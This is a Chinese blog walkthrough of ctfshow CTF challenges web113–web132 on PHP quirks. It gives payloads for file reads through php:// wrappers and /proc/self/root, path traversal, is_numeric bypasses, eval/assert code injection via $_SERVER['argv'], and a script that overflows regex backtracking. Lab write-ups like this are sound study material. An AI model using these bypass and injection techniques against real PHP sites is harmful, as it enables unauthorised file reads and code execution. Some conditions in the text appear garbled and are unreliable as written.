Ctfshow web入门 PHP特性篇 web89-web151 全(二)

本文涉及的产品
图片翻译,图片翻译 100张
文本翻译,文本翻译 100万字符
文档翻译,文档翻译 1千页
简介: Ctfshow web入门 PHP特性篇 web89-web151 全(二)

·Ctfshow web入门 PHP特性篇 web89-web151 全(一):https://developer.aliyun.com/article/1585247

CTFshow PHP web113

这次限制了filter伪协议

压缩流payload可以继续用

?file=compress.zlib://flag.php

新知识点:目录溢出导致is_file认为这不是一个文件。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

引用一下佬的博客:


linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容


/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。

CTFshow PHP web114

加了对compress 、root、 zip的过滤,之前的payload都用不了了。

但是,对filter的过滤却不见了。

payload:

?file=php://filter/resource=flag.php

CTFshow PHP web115

让我们GET传参一个num,满足is_numeric(num)andnum) and num!=='36' and trim(num)!==36andfilter(num)!=='36' and filter(num)=='36') 与$num=='36',注意,这里是字符串’36’。


trim():去除字符串首尾处的空白字符(或者其他字符)

自定义函数filter():把num中0x、0、e、.、+字符都换成数字1。

网上有一个FUZZ脚本:

<?php
for($i = 0; $i<129; $i++){
  $num=chr($i).'36';
  if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
    echo urlencode(chr($i))."\n";
  }
}
?>

一共有五个条件,脚本fuzz了三个,跑出来的字符是:

%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9

还剩两个条件是filter(num)==36num)=='36' 和num=='36'

跑出来的字符中,-、0、1、2、3、4、5、6、7、8、9直接就导致了num不满足$num==‘36’

跑出来的字符中,%2B(+的url编码)和 . 会被filter函数识别换成1,num变成136,不满足$num==‘36’

payload:

?num=%0C36

正常思路是去找函数绕过。


is_numeric():

php中is_numeric函数的绕过_is_numeric绕过_T0mrvvi1b3t的博客-CSDN博客

利用数组+十六进制来进行绕过;在前后加%00或在后加%20(空格);类型转换绕过:is_numeric(999a)是false。

所以我们可以选择在前面加%20,is_numeric()不会被绕过,任然判断为true。

trim()不会移除%0c

加上%0c换页符,是%0c36,这个东西类型转换时会被转换为数值36。%0c36在==进行类型转换,结果true;在!==不进行类型转换,所以字符串和数值比较,类型不同,结果true。

payload:

?num=%0C36

CTFshow PHP web123

考点:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。


这里CTF[SHOW.COM=>CTF_SHOW.COM


要求CTF_SHOW、CTF_SHOW.COM必须传参,fl0g不能传参。所以$fl0g==="flag_give_me"条件不能满足,可以利用上面的eval。

payload:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

问题来了,题中有一段代码是a=a=_SERVER['argv'];,这个argv是个什么呢?

第一次遇到它的时候是pear文件包含,argv这个东西涉及到了pear文件包含的原理。

argv是数组,argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素

是aaa和bbb。argc是数组的长度。

php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。

这个argv还分两种模式,web和cli

web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]

$argv,$argc在web模式下不适用
cli模式(命令行)下

第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。

当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3

以上示例的输出类似于:
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

我们是在网页模式下的,注意重点:

SERVER[argv][0]=_SERVER[‘argv’][0] = _SERVER[‘QUERY_STRING’]

而 $_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句

举个例子:

如果    ?$fl0g=flag_give_me

$_SERVER['argv'][0]=$a[0]
=$_SERVER[‘QUERY_STRING’]就是$fl0g=flag_give_me

利用SERVER[argv][0]isset(_SERVER['argv'][0] 就可以绕过对isset(fl0g)的判断。用+代表空格。

payload:

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

//从而满足之后的判断语句
//if($fl0g==="flag_give_me"){
//    echo $flag;
//}

get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

//需要用burp发包

CTFshow PHP web125

这次过滤了echo,长度限制也变短了

之前的payload满足条件的还剩

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])      
//需要用burp发包

我们还可以用highlight_file构造一个新的payload:

get:
?1=flag.php
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
//不懂c怎么小于16的

CTFshow PHP web126

多过滤了字母g i f c o d

那么highlight_file不能用了,各种输出函数不能使用了,所以不能直接通过eval("c".";");flagfl0gechoc".";");来实现输出flag了,需要考虑用满足fl0g的条件来echo flag。

之前的payload还剩下能用的:

?a=1+fl0g=flag_give_me          //GET

CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])     //POST 
//需要用burp发包
?$fl0g=flag_give_me;      //GET

CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])    //POST

当然,eval也能用assert代替。

(突然回忆到蚁剑的转接头,有时候eval用不了也是能用assert的)

assert的语法要求没eval那么严格,相比上一个payload,$fl0g=flag_give_me少一个分号也没啥事。

?$fl0g=flag_give_me     //GET

CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])   //POST

别的师傅对assert的详细解释:

assert() 断言:

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行。

CTFshow PHP web127

注释都告诉我们了有waf。

SERVER[QUERYSTRING];"web123_SERVER['QUERY_STRING'];":web123提到过_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’],在题目,就是web模式下,这个和GET传参有关

extract:从数组中将变量导入到当前的符号表

回归题目

浏览所有代码,我们能获取flag的路径只有

if($ctf_show==='ilove36d'){
    echo $flag;
}

所以我们的目标是使$ctf_show==='ilove36d' 。

很容易想到GET传参?ctf_show=ilove36d 。

然后 extract()函数把我们的传参导入到当前的符号表使$ctf_show==='ilove36d'

但是有一个问题,自定义函数waf()会对urlurl也就是_SERVER['QUERY_STRING']也就是我们的GET传参进行正则匹配过滤,ctf_show中_会被过滤使程序直接die出。

回归web123,可以自动转成下划线又不在waf里面的,就只有空格。

我们GET传参?ctf show=ilove36d就行了

CTFshow PHP web128

让我来看看你有多骚~

直接给了源码。

题目的正则要求f1不存在字母数字,v2无限制。


call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。

var_dump:打印变量的相关信息


扩展

gettext():_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数


get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。


所以可构造playload:

?f1=_&f2=get_defined_vars 
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));

确实够骚的。

CTFshow PHP web129

stripos:查找字符串首次出现的位置

readfile: 输出文件

考点:目录穿越

题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取

GET传参:

//查看源码
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

//直接回显base64
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

CTFshow PHP web130

题目描述:very very very(省略25万个very)ctfshow

分析代码:

if(preg_match('/.+?ctfshow/is', $f)){
     die('bye!');
}

要求我们传入的字符串不包含"ctfshow" (preg_match判断)

if(stripos($f, 'ctfshow') === FALSE){
    die('bye!!');
}

要求我们传入的字符串包含"ctfshow" (stripos判断)

方法一:

preg_match不识别数组,否则返回false

采用数组绕过的方法,stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数

f[]=1

方法二:

.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。

所以在ctfshow前面必须有至少一个字符,才会返回true

所以直接构造playload:f=ctfshow,即可绕过preg_match函数

同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)

f=ctfshow

方法三:

溢出回溯限制,这个知识点在2023年安洵杯第一题刚刚遇到过。

PHP利用PCRE回溯次数限制绕过某些安全限制

引用一下小元砸师傅的博客

PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种

贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。

非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。

利用脚本:

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

执行后,因为超出了preg_match的回溯次数,报错返回false,达到绕过的效果,

同时因为POST传入的f中有ctfshow,第二个判断也被绕过,输出flag。

方法四:

f=ctfshow[]

【原理存疑】

CTFshow PHP web131

和web130差不多,但是由于改了stripos()的匹配内容,之前的方法二用不了了

因为f=(String)f = (String)_POST['f'];对$F进行了强制类型转换,所以之前的方法一、四也用不了了。只剩下方法三——溢出回溯限制

跑一下利用脚本

CTFshow PHP web132

题目描述:为什么会这样?

话不多说,直接开始信息搜集

先dirsearch扫一下。

访问/admin/index.php路由得到源码

分析一下代码:


mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快


&&和||优先级问题||优先级低于&&。if(code === mt_rand(1,0x36D) &&code === mt_rand(1,0x36D) && password === flag||flag || username ==="admin")可看作if((code === mt_rand(1,0x36D) &&code === mt_rand(1,0x36D) && password === flag)||flag )|| username ==="admin")


所以只需要满足后者就行:$username ==="admin"

同时满足下一个if:$code == 'admin'

payload:

?username=admin&code=admin&password=6666666

其实第一个$code === mt_rand(1,0x36D)为false,之后就执行||后面的内容,跳过了对password的判断,这叫做"短路"


Ctfshow web入门 PHP特性篇 web89-web151 全(三):https://developer.aliyun.com/article/1585328

目录
相关文章
|
10天前
|
安全 编译器 PHP
PHP 7新特性深度解析与实践
【10月更文挑战第7天】在这篇文章中,我们将探索PHP 7带来的新特性和改进,以及如何利用这些新工具来提升你的代码效率。从性能优化到语法简化,再到错误处理的改进,本文将带你深入了解PHP 7的核心变化,并通过实际代码示例展示如何将这些新特性应用到日常开发中。无论你是PHP新手还是资深开发者,这篇文章都将为你提供有价值的见解和技巧。
24 6
|
8天前
|
前端开发 JavaScript 开发者
探索现代Web前端技术:React框架入门
【10月更文挑战第9天】 探索现代Web前端技术:React框架入门
|
12天前
|
安全 编译器 API
探索PHP 8的新特性及其对现代Web开发的影响
【10月更文挑战第5天】随着PHP 8的发布,这门历史悠久的脚本语言重获新生。PHP 8引入了联合类型、命名参数、属性、空安全运算符及JIT编译器等一系列新特性,不仅提升了开发者的编程体验,还增强了PHP在现代Web开发领域的竞争力。本文将详细介绍这些新特性及其对Web开发的影响。例如,联合类型允许函数参数接受多种类型,提高代码灵活性;命名参数则使函数调用更加直观易懂;属性可用于装饰类、方法等,提供额外信息;空安全运算符避免了访问未定义属性时的错误;JIT编译器则显著提升了性能。这些改进共同提升了代码质量和开发效率,巩固了PHP在Web开发中的地位。
17 4
|
5天前
|
网络协议 安全 JavaScript
Web实时通信的学习之旅:WebSocket入门指南及示例演示
Web实时通信的学习之旅:WebSocket入门指南及示例演示
30 0
|
6天前
|
Web App开发 Java 测试技术
一、自动化:web自动化。Selenium 入门指南:从安装到实践
一、自动化:web自动化。Selenium 入门指南:从安装到实践
15 0
|
6天前
|
安全 编译器 API
探索PHP 8的新特性及其对现代Web开发的影响
探索PHP 8的新特性及其对现代Web开发的影响
9 0
|
8天前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
46 3
|
14天前
|
设计模式 测试技术 持续交付
开发复杂Web应用程序
【10月更文挑战第3天】开发复杂Web应用程序
28 2
|
16天前
|
Java PHP
PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。理解其垃圾回收机制有助于开发高效稳定的PHP应用。
【10月更文挑战第1天】PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。其垃圾回收机制包括引用计数与循环垃圾回收,对提升应用性能和稳定性至关重要。本文通过具体案例分析,详细探讨PHP垃圾回收机制的工作原理,特别是如何解决循环引用问题。在PHP 8中,垃圾回收机制得到进一步优化,提高了效率和准确性。理解这些机制有助于开发高效稳定的PHP应用。
35 3
|
1月前
|
数据可视化 图形学 UED
只需四步,轻松开发三维模型Web应用
为了让用户更方便地应用三维模型,阿里云DataV提供了一套完整的三维模型Web模型开发方案,包括三维模型托管、应用开发、交互开发、应用分发等完整功能。只需69.3元/年,就能体验三维模型Web应用开发功能!
221 8
只需四步,轻松开发三维模型Web应用